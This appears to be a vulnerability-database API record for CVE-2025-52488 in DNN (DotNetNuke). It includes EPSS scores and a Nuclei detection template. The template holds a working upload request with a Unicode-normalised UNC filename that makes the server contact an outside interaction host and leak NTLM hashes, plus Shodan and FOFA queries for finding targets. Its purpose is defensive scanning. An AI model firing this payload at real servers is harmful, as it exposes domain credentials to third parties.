{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-52488/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-52488/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-52488/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-52488/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-52488/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-52488"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-52488"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.35761,
      "kev": false,
      "percentile": 0.98411
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-52488.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2025-52488\n\ninfo:\n  name: DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure\n  author: assetnote,DhiyaneshDk,iamnoooob,pdresearch\n  severity: high\n  description: |\n    DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n  impact: |\n    Unauthenticated attackers can force the server to retrieve NTLM authentication hashes through malicious file uploads with Unicode-normalized paths, potentially exposing domain credentials to third-party SMB servers.\n  remediation: |\n    Upgrade DNN Platform to version 10.0.1 or later that properly handles Unicode path normalization and prevents NTLM hash disclosure.\n  reference:\n    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96\n    - https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/#hunting-variants\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2025-52488\n    cwe-id: CWE-200\n    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*\n    epss-score: 0.35761\n    epss-percentile: 0.98411\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dnnsoftware\n    product: dotnetnuke\n    shodan-query:\n      - \"Set-Cookie: dnn_IsMobile\"\n      - http.favicon.hash:-1465479343\n    fofa-query:\n      - app=\"dotnetnuke\"\n      - \"Set-Cookie: dnn_IsMobile\"\n      - icon_hash=\"-1465479343\"\n  tags: cve,cve2025,file-upload,dotnetnuke,oast,oob,dnnsoftware,oss,ntlm,vkev,vuln\n\nvariables:\n  payload: \"%EF%BC%BC%EF%BC%BC{{interactsh-url}}%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg\"\n\nhttp:\n  - raw:\n      - |\n        POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX\n\n        ------WebKitFormBoundaryXXXXXXXXXXXX\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{url_decode(replace(payload,'.','%EF%BC%8E'))}}\"\n        Content-Type: image/jpeg\n\n        {{randstr}}\n        ------WebKitFormBoundaryXXXXXXXXXXXX--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: dsl\n        dsl:\n          - \"contains(to_lower(header), 'dnn_ismobile')\"\n          - \"contains_any(to_lower(body), 'dotnetnuke', 'dnnconnect', 'runtime error')\"\n        condition: or\n# digest: 490a0046304402207a94752c7d9a26b841b64b77d9e82214b27e7adbb0adff12b7718840e7c663230220554e9228d82e0205338f0c93b39d4b7ef9a3e11ec3b0ad9a26c50a6ebbee5aa1:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-52488"
}